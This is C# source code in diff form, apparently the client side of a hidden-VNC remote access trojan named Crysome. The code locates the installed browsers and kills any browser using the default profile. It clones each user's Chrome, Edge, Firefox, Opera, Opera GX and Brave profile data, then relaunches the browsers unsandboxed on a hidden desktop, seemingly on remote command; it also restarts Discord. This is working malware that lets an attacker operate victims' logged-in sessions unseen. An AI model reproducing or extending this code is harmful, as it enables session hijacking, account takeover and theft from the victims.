public bool StartNotepad()
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe");
|
||||
if (File.Exists(text))
|
||||
{
|
||||
return CreateProc(text);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public bool StartCalculator()
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "calc.exe");
|
||||
if (File.Exists(text))
|
||||
{
|
||||
return CreateProc(text);
|
||||
}
|
||||
text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32", "calc.exe");
|
||||
if (File.Exists(text))
|
||||
{
|
||||
return CreateProc(text);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static string GetRegPath(string keyPath, string valueName = "")
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Registry.GetValue(keyPath, valueName, null) is string text)
|
||||
{
|
||||
string text2 = text.Trim('"');
|
||||
if (text2.Contains("\""))
|
||||
{
|
||||
text2 = text2.Split('"')[1];
|
||||
}
|
||||
return text2;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public string GetChromePath()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry32).OpenSubKey("ChromeHTML\\shell\\open\\command");
|
||||
if (registryKey != null && registryKey.GetValue(null) is string text)
|
||||
{
|
||||
string[] array = text.Split('"');
|
||||
return (array.Length >= 2) ? array[1] : null;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public string GetEdgePath()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\msedge.exe");
|
||||
return registryKey?.GetValue("") as string;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public string GetFirefoxPath()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox");
|
||||
if (!(registryKey?.GetValue("CurrentVersion") is string text))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
using RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox\\" + text + "\\Main");
|
||||
return registryKey2?.GetValue("PathToExe") as string;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public string GetOperaPath()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet");
|
||||
if (registryKey == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
string[] subKeyNames = registryKey.GetSubKeyNames();
|
||||
foreach (string text in subKeyNames)
|
||||
{
|
||||
if (!text.Contains("Opera") || text.Contains("GX"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
using RegistryKey registryKey2 = registryKey.OpenSubKey(text + "\\shell\\open\\command");
|
||||
if (registryKey2?.GetValue("") is string text2)
|
||||
{
|
||||
return text2.Trim('"');
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public string GetOperaGXPath()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet");
|
||||
if (registryKey == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
string[] subKeyNames = registryKey.GetSubKeyNames();
|
||||
foreach (string text in subKeyNames)
|
||||
{
|
||||
if (!text.Contains("Opera") || !text.Contains("GX"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
using RegistryKey registryKey2 = registryKey.OpenSubKey(text + "\\shell\\open\\command");
|
||||
if (registryKey2?.GetValue("") is string text2)
|
||||
{
|
||||
return text2.Trim('"');
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public string GetBravePath()
|
||||
{
|
||||
return GetRegPath("HKEY_CLASSES_ROOT\\BraveHTML\\shell\\open\\command");
|
||||
}
|
||||
|
||||
public bool StartChrome()
|
||||
{
|
||||
string chromePath = GetChromePath();
|
||||
if (string.IsNullOrEmpty(chromePath) || !File.Exists(chromePath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return CreateProc("\"" + chromePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\ChromeAutomationData");
|
||||
}
|
||||
|
||||
public bool StartChromeCloned()
|
||||
{
|
||||
string chromePath = GetChromePath();
|
||||
if (string.IsNullOrEmpty(chromePath) || !File.Exists(chromePath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return CreateProc("\"" + chromePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\ChromeAutomationData");
|
||||
}
|
||||
|
||||
public bool StartEdge()
|
||||
{
|
||||
string edgePath = GetEdgePath();
|
||||
if (string.IsNullOrEmpty(edgePath) || !File.Exists(edgePath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return CreateProc("\"" + edgePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\EdgeAutomationData");
|
||||
}
|
||||
|
||||
public bool StartFirefox()
|
||||
{
|
||||
string firefoxPath = GetFirefoxPath();
|
||||
if (string.IsNullOrEmpty(firefoxPath) || !File.Exists(firefoxPath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return CreateProc("\"" + firefoxPath + "\" -no-remote -profile C:\\FirefoxAutomationData");
|
||||
}
|
||||
|
||||
public bool StartOpera()
|
||||
{
|
||||
string operaPath = GetOperaPath();
|
||||
if (string.IsNullOrEmpty(operaPath) || !File.Exists(operaPath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return CreateProc("\"" + operaPath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\OperaAutomationData");
|
||||
}
|
||||
|
||||
public bool StartOperaGX()
|
||||
{
|
||||
string operaGXPath = GetOperaGXPath();
|
||||
if (string.IsNullOrEmpty(operaGXPath) || !File.Exists(operaGXPath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return CreateProc("\"" + operaGXPath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\OperaGXAutomationData");
|
||||
}
|
||||
|
||||
public bool StartBrave()
|
||||
{
|
||||
string bravePath = GetBravePath();
|
||||
if (string.IsNullOrEmpty(bravePath) || !File.Exists(bravePath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return CreateProc("\"" + bravePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\BraveAutomationData");
|
||||
}
|
||||
|
||||
private static void KillBrowsersByDefaultProfile(string exeName, string automationDataDir)
|
||||
{
|
||||
try
|
||||
{
|
||||
foreach (ManagementObject item in new ManagementObjectSearcher("SELECT ProcessId, CommandLine FROM Win32_Process WHERE Name = '" + exeName + "'").Get())
|
||||
{
|
||||
if (!(item["CommandLine"]?.ToString() ?? "").Contains(automationDataDir))
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.GetProcessById(Convert.ToInt32(item["ProcessId"])).Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public bool StartDiscord()
|
||||
{
|
||||
string text = null;
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Discord");
|
||||
text = registryKey?.GetValue("DisplayIcon") as string;
|
||||
if (text != null)
|
||||
{
|
||||
text = text.Trim('"');
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
Process[] processesByName;
|
||||
if (string.IsNullOrEmpty(text) || !File.Exists(text))
|
||||
{
|
||||
text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Discord", "Update.exe");
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
processesByName = Process.GetProcessesByName("Discord");
|
||||
foreach (Process process in processesByName)
|
||||
{
|
||||
try
|
||||
{
|
||||
process.Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return CreateProc("\"" + text + "\" --processStart Discord.exe");
|
||||
}
|
||||
processesByName = Process.GetProcessesByName("Discord");
|
||||
foreach (Process process2 in processesByName)
|
||||
{
|
||||
try
|
||||
{
|
||||
process2.Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return CreateProc("\"" + text + "\"");
|
||||
}
|
||||
|
||||
private static string UserProfilePath(string rel)
|
||||
{
|
||||
return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), rel);
|
||||
}
|
||||
|
||||
private static async Task<bool> CopyDirAsync(string sourceDir, string destDir)
|
||||
{
|
||||
if (string.IsNullOrEmpty(sourceDir) || !Directory.Exists(sourceDir))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(destDir))
|
||||
{
|
||||
await Task.Run(delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
Directory.Delete(destDir, recursive: true);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
await Task.Run(() => Directory.CreateDirectory(destDir));
|
||||
foreach (string item in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories))
|
||||
{
|
||||
string rel = item.Substring(sourceDir.Length + 1);
|
||||
await Task.Run(() => Directory.CreateDirectory(Path.Combine(destDir, rel)));
|
||||
}
|
||||
SemaphoreSlim sem = new SemaphoreSlim(10);
|
||||
await Task.WhenAll(Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories).Select((Func<string, Task>)async delegate(string file)
|
||||
{
|
||||
await sem.WaitAsync();
|
||||
try
|
||||
{
|
||||
string path = file.Substring(sourceDir.Length + 1);
|
||||
string dest = Path.Combine(destDir, path);
|
||||
await Task.Run(delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Copy(file, dest, overwrite: true);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
finally
|
||||
{
|
||||
sem.Release();
|
||||
}
|
||||
}));
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static string RecursiveFindDir(string dir, string markerFile)
|
||||
{
|
||||
if (string.IsNullOrEmpty(dir) || !Directory.Exists(dir))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (File.Exists(Path.Combine(dir, markerFile)))
|
||||
{
|
||||
return dir;
|
||||
}
|
||||
try
|
||||
{
|
||||
string[] directories = Directory.GetDirectories(dir);
|
||||
for (int i = 0; i < directories.Length; i++)
|
||||
{
|
||||
string text = RecursiveFindDir(directories[i], markerFile);
|
||||
if (text != null)
|
||||
{
|
||||
return text;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static async Task<int> FindProcessByCommandLine(string processName, string searchStr)
|
||||
{
|
||||
return await Task.Run(delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
foreach (ManagementObject item in new ManagementObjectSearcher("SELECT * FROM Win32_Process WHERE Name = '" + processName + "'").Get())
|
||||
{
|
||||
string text = item["CommandLine"]?.ToString();
|
||||
if (text != null && text.Contains(searchStr))
|
||||
{
|
||||
return Convert.ToInt32(item["ProcessId"]);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return -1;
|
||||
});
|
||||
}
|
||||
|
||||
private async Task<bool> CloneChromeAsync()
|
||||
{
|
||||
return await CopyDirAsync(UserProfilePath("AppData\\Local\\Google\\Chrome\\User Data"), "C:\\ChromeAutomationData");
|
||||
}
|
||||
|
||||
private async Task<bool> CloneEdgeAsync()
|
||||
{
|
||||
return await CopyDirAsync(UserProfilePath("AppData\\Local\\Microsoft\\Edge\\User Data"), "C:\\EdgeAutomationData");
|
||||
}
|
||||
|
||||
private async Task<bool> CloneFirefoxAsync()
|
||||
{
|
||||
string text = RecursiveFindDir(UserProfilePath("AppData\\Roaming\\Mozilla\\Firefox\\Profiles"), "addons.json");
|
||||
bool flag = text != null;
|
||||
if (flag)
|
||||
{
|
||||
flag = await CopyDirAsync(text, "C:\\FirefoxAutomationData");
|
||||
}
|
||||
return flag;
|
||||
}
|
||||
|
||||
private async Task<bool> CloneOperaAsync()
|
||||
{
|
||||
return await CopyDirAsync(UserProfilePath("AppData\\Roaming\\Opera Software\\Opera Stable"), "C:\\OperaAutomationData");
|
||||
}
|
||||
|
||||
private async Task<bool> CloneOperaGXAsync()
|
||||
{
|
||||
return await CopyDirAsync(UserProfilePath("AppData\\Roaming\\Opera Software\\Opera GX Stable"), "C:\\OperaGXAutomationData");
|
||||
}
|
||||
|
||||
private async Task<bool> CloneBraveAsync()
|
||||
{
|
||||
return await CopyDirAsync(UserProfilePath("AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data"), "C:\\BraveAutomationData");
|
||||
}
|
||||
|
||||
private async Task HandleCloneChromeAsync()
|
||||
{
|
||||
KillBrowsersByDefaultProfile("chrome.exe", "ChromeAutomationData");
|
||||
if (!(await CloneChromeAsync()))
|
||||
{
|
||||
int num = await FindProcessByCommandLine("chrome.exe", "ChromeAutomationData");
|
||||
if (num >= 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.GetProcessById(num).Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
await CloneChromeAsync();
|
||||
}
|
||||
}
|
||||
Thread.Sleep(1000);
|
||||
StartChromeCloned();
|
||||
}
|
||||
|
||||
private async Task HandleCloneEdgeAsync()
|
||||
{
|
||||
KillBrowsersByDefaultProfile("msedge.exe", "EdgeAutomationData");
|
||||
if (!(await CloneEdgeAsync()))
|
||||
{
|
||||
int num = await FindProcessByCommandLine("msedge.exe", "EdgeAutomationData");
|
||||
if (num >= 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.GetProcessById(num).Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
await CloneEdgeAsync();
|
||||
}
|
||||
}
|
||||
Thread.Sleep(1000);
|
||||
StartEdge();
|
||||
}
|
||||
|
||||
private async Task HandleCloneFirefoxAsync()
|
||||
{
|
||||
KillBrowsersByDefaultProfile("firefox.exe", "FirefoxAutomationData");
|
||||
if (!(await CloneFirefoxAsync()))
|
||||
{
|
||||
int num = await FindProcessByCommandLine("firefox.exe", "FirefoxAutomationData");
|
||||
if (num >= 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.GetProcessById(num).Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
await CloneFirefoxAsync();
|
||||
}
|
||||
}
|
||||
Thread.Sleep(1000);
|
||||
StartFirefox();
|
||||
}
|
||||
|
||||
private async Task HandleCloneOperaAsync()
|
||||
{
|
||||
KillBrowsersByDefaultProfile("opera.exe", "OperaAutomationData");
|
||||
if (!(await CloneOperaAsync()))
|
||||
{
|
||||
int num = await FindProcessByCommandLine("opera.exe", "OperaAutomationData");
|
||||
if (num >= 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.GetProcessById(num).Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
await CloneOperaAsync();
|
||||
}
|
||||
}
|
||||
Thread.Sleep(1000);
|
||||
StartOpera();
|
||||
}
|
||||
|
||||
private async Task HandleCloneOperaGXAsync()
|
||||
{
|
||||
KillBrowsersByDefaultProfile("opera.exe", "OperaGXAutomationData");
|
||||
if (!(await CloneOperaGXAsync()))
|
||||
{
|
||||
int num = await FindProcessByCommandLine("opera.exe", "OperaGXAutomationData");
|
||||
if (num >= 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.GetProcessById(num).Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
await CloneOperaGXAsync();
|
||||
}
|
||||
}
|
||||
Thread.Sleep(1000);
|
||||
StartOperaGX();
|
||||
}
|
||||
|
||||
private async Task HandleCloneBraveAsync()
|
||||
{
|
||||
KillBrowsersByDefaultProfile("brave.exe", "BraveAutomationData");
|
||||
if (!(await CloneBraveAsync()))
|
||||
{
|
||||
int num = await FindProcessByCommandLine("brave.exe", "BraveAutomationData");
|
||||
if (num >= 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.GetProcessById(num).Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
await CloneBraveAsync();
|
||||
}
|
||||
}
|
||||
Thread.Sleep(1000);
|
||||
StartBrave();
|
||||
}
|
||||
|
||||
public void HandleCloneRequest(byte action)
|
||||
{
|
||||
Task.Run(async delegate
|
||||
{
|
||||
_ = 5;
|
||||
try
|
||||
{
|
||||
switch (action)
|
||||
{
|
||||
case 11:
|
||||
await HandleCloneChromeAsync();
|
||||
break;
|
||||
case 12:
|
||||
await HandleCloneEdgeAsync();
|
||||
break;
|
||||
case 13:
|
||||
await HandleCloneFirefoxAsync();
|
||||
break;
|
||||
case 14:
|
||||
await HandleCloneOperaAsync();
|
||||
break;
|
||||
case 15:
|
||||
await HandleCloneOperaGXAsync();
|
||||
break;
|
||||
case 16:
|
||||
await HandleCloneBraveAsync();
|
||||
break;
|
||||
case 19:
|
||||
StartDiscord();
|
||||
break;
|
||||
case 17:
|
||||
case 18:
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("HVNC clone: " + ex.Message);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public bool CreateProc(string commandLine)
|
||||
{
|
||||
if (string.IsNullOrEmpty(commandLine))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
STARTUPINFO lpStartupInfo = new STARTUPINFO
|
||||
{
|
||||
cb = Marshal.SizeOf(typeof(STARTUPINFO)),
|
||||
lpDesktop = _desktopName
|
||||
};
|
||||
PROCESS_INFORMATION lpProcessInformation;
|
||||
return CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 1040, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInformation);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,203 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Crysome.Client.Hvnc;
|
||||
|
||||
internal static class HvncProcessHelper
|
||||
{
|
||||
private struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
|
||||
public IntPtr hThread;
|
||||
|
||||
public int dwProcessId;
|
||||
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
private struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
|
||||
public string lpReserved;
|
||||
|
||||
public string lpDesktop;
|
||||
|
||||
public string lpTitle;
|
||||
|
||||
public int dwX;
|
||||
|
||||
public int dwY;
|
||||
|
||||
public int dwXSize;
|
||||
|
||||
public int dwYSize;
|
||||
|
||||
public int dwXCountChars;
|
||||
|
||||
public int dwYCountChars;
|
||||
|
||||
public int dwFillAttribute;
|
||||
|
||||
public int dwFlags;
|
||||
|
||||
public short wShowWindow;
|
||||
|
||||
public short cbReserved2;
|
||||
|
||||
public IntPtr lpReserved2;
|
||||
|
||||
public IntPtr hStdInput;
|
||||
|
||||
public IntPtr hStdOutput;
|
||||
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
private struct SID_AND_ATTRIBUTES
|
||||
{
|
||||
public IntPtr Sid;
|
||||
|
||||
public uint Attributes;
|
||||
}
|
||||
|
||||
private struct TOKEN_MANDATORY_LABEL
|
||||
{
|
||||
public SID_AND_ATTRIBUTES Label;
|
||||
}
|
||||
|
||||
private enum TOKEN_INFORMATION_CLASS
|
||||
{
|
||||
TokenIntegrityLevel = 25
|
||||
}
|
||||
|
||||
public enum SaferLevel : uint
|
||||
{
|
||||
NormalUser = 0x20000u
|
||||
}
|
||||
|
||||
public enum SaferScope : uint
|
||||
{
|
||||
User = 2u
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum SaferOpenFlags : uint
|
||||
{
|
||||
Open = 1u
|
||||
}
|
||||
|
||||
private const uint SE_GROUP_INTEGRITY = 32u;
|
||||
|
||||
public static bool RunAsRestrictedUser(string fileName, string desktopName)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(fileName))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
if (!GetRestrictedSessionUserToken(out var token))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
STARTUPINFO lpStartupInfo = new STARTUPINFO
|
||||
{
|
||||
cb = Marshal.SizeOf(typeof(STARTUPINFO)),
|
||||
lpDesktop = desktopName
|
||||
};
|
||||
PROCESS_INFORMATION lpProcessInformation = default(PROCESS_INFORMATION);
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.Append(fileName);
|
||||
return CreateProcessAsUser(token, null, stringBuilder, IntPtr.Zero, IntPtr.Zero, bInheritHandles: true, 0u, IntPtr.Zero, Path.GetDirectoryName(fileName), ref lpStartupInfo, out lpProcessInformation);
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(token);
|
||||
}
|
||||
}
|
||||
|
||||
private static bool GetRestrictedSessionUserToken(out IntPtr token)
|
||||
{
|
||||
token = IntPtr.Zero;
|
||||
if (!SaferCreateLevel(SaferScope.User, SaferLevel.NormalUser, SaferOpenFlags.Open, out var pLevelHandle, IntPtr.Zero))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
IntPtr OutAccessToken = IntPtr.Zero;
|
||||
TOKEN_MANDATORY_LABEL structure = new TOKEN_MANDATORY_LABEL
|
||||
{
|
||||
Label =
|
||||
{
|
||||
Sid = IntPtr.Zero
|
||||
}
|
||||
};
|
||||
IntPtr intPtr = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
if (!SaferComputeTokenFromLevel(pLevelHandle, IntPtr.Zero, out OutAccessToken, 0, IntPtr.Zero))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
structure.Label.Attributes = 32u;
|
||||
structure.Label.Sid = IntPtr.Zero;
|
||||
if (!ConvertStringSidToSid("S-1-16-8192", out structure.Label.Sid))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
intPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL)));
|
||||
Marshal.StructureToPtr(structure, intPtr, fDeleteOld: false);
|
||||
if (!SetTokenInformation(OutAccessToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, intPtr, (uint)Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL))))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
token = OutAccessToken;
|
||||
OutAccessToken = IntPtr.Zero;
|
||||
}
|
||||
finally
|
||||
{
|
||||
SaferCloseLevel(pLevelHandle);
|
||||
if (structure.Label.Sid != IntPtr.Zero)
|
||||
{
|
||||
LocalFree(structure.Label.Sid);
|
||||
}
|
||||
if (intPtr != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(intPtr);
|
||||
}
|
||||
if (OutAccessToken != IntPtr.Zero)
|
||||
{
|
||||
CloseHandle(OutAccessToken);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
[DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
||||
private static extern bool SaferCreateLevel(SaferScope scope, SaferLevel level, SaferOpenFlags openFlags, out IntPtr pLevelHandle, IntPtr lpReserved);
|
||||
|
||||
[DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
||||
private static extern bool SaferComputeTokenFromLevel(IntPtr LevelHandle, IntPtr InAccessToken, out IntPtr OutAccessToken, int dwFlags, IntPtr lpReserved);
|
||||
|
||||
[DllImport("advapi32", SetLastError = true)]
|
||||
private static extern bool SaferCloseLevel(IntPtr hLevelHandle);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern bool ConvertStringSidToSid(string StringSid, out IntPtr ptrSid);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr LocalFree(IntPtr hMem);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool SetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, StringBuilder lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
}
|
||||
@@ -0,0 +1,313 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Crysome.Client.Hvnc;
|
||||
|
||||
public sealed class Utils
|
||||
{
|
||||
public delegate bool EnumDesktopWindowsDelegate(IntPtr hWnd, IntPtr lParam);
|
||||
|
||||
public enum DESKTOP_ACCESS : uint
|
||||
{
|
||||
DESKTOP_NONE = 0u,
|
||||
DESKTOP_READOBJECTS = 1u,
|
||||
DESKTOP_CREATEWINDOW = 2u,
|
||||
DESKTOP_CREATEMENU = 4u,
|
||||
DESKTOP_HOOKCONTROL = 8u,
|
||||
DESKTOP_JOURNALRECORD = 16u,
|
||||
DESKTOP_JOURNALPLAYBACK = 32u,
|
||||
DESKTOP_ENUMERATE = 64u,
|
||||
DESKTOP_WRITEOBJECTS = 128u,
|
||||
DESKTOP_SWITCHDESKTOP = 256u,
|
||||
GENERIC_ALL = 511u
|
||||
}
|
||||
|
||||
public enum GetWindowType : uint
|
||||
{
|
||||
GW_HWNDFIRST,
|
||||
GW_HWNDLAST,
|
||||
GW_HWNDNEXT,
|
||||
GW_HWNDPREV,
|
||||
GW_OWNER,
|
||||
GW_CHILD,
|
||||
GW_ENABLEDPOPUP
|
||||
}
|
||||
|
||||
public enum SETWINDOWPOSITION : uint
|
||||
{
|
||||
SWP_NOSIZE = 1u,
|
||||
SWP_NOMOVE = 2u,
|
||||
SWP_NOZORDER = 4u,
|
||||
SWP_NOACTIVATE = 0x10u,
|
||||
SWP_SHOWWINDOW = 0x40u,
|
||||
SWP_HIDEWINDOW = 0x80u,
|
||||
SWP_ASYNCWINDOWPOS = 0x4000u
|
||||
}
|
||||
|
||||
public struct POINT
|
||||
{
|
||||
public int x;
|
||||
|
||||
public int y;
|
||||
}
|
||||
|
||||
public struct RECT
|
||||
{
|
||||
public int left;
|
||||
|
||||
public int top;
|
||||
|
||||
public int right;
|
||||
|
||||
public int bottom;
|
||||
}
|
||||
|
||||
public struct WINDOWPLACEMENT
|
||||
{
|
||||
public int length;
|
||||
|
||||
public int flags;
|
||||
|
||||
public int showCmd;
|
||||
|
||||
public POINT ptMinPosition;
|
||||
|
||||
public POINT ptMaxPosition;
|
||||
|
||||
public RECT rcNormalPosition;
|
||||
}
|
||||
|
||||
public const uint DESKTOP_ENUMERATE = 1u;
|
||||
|
||||
public const int GWL_STYLE = -16;
|
||||
|
||||
public const int WS_DISABLED = 134217728;
|
||||
|
||||
public const int WM_CHAR = 258;
|
||||
|
||||
public const int WM_KEYDOWN = 256;
|
||||
|
||||
public const int WM_KEYUP = 257;
|
||||
|
||||
public const uint WM_PASTE = 770u;
|
||||
|
||||
public const int VK_CONTROL = 17;
|
||||
|
||||
public const int V_KEY_V = 86;
|
||||
|
||||
public const int WM_LBUTTONUP = 514;
|
||||
|
||||
public const int WM_LBUTTONDOWN = 513;
|
||||
|
||||
public const int WM_MOUSEMOVE = 512;
|
||||
|
||||
public const int WM_CLOSE = 16;
|
||||
|
||||
public const int WM_SYSCOMMAND = 274;
|
||||
|
||||
public const int SC_MINIMIZE = 61472;
|
||||
|
||||
public const int SC_RESTORE = 61728;
|
||||
|
||||
public const int SC_MAXIMIZE = 61488;
|
||||
|
||||
public const int HTCAPTION = 2;
|
||||
|
||||
public const int HTTOP = 12;
|
||||
|
||||
public const int HTBOTTOM = 15;
|
||||
|
||||
public const int HTLEFT = 10;
|
||||
|
||||
public const int HTRIGHT = 11;
|
||||
|
||||
public const int HTTOPLEFT = 13;
|
||||
|
||||
public const int HTTOPRIGHT = 14;
|
||||
|
||||
public const int HTBOTTOMLEFT = 16;
|
||||
|
||||
public const int HTBOTTOMRIGHT = 17;
|
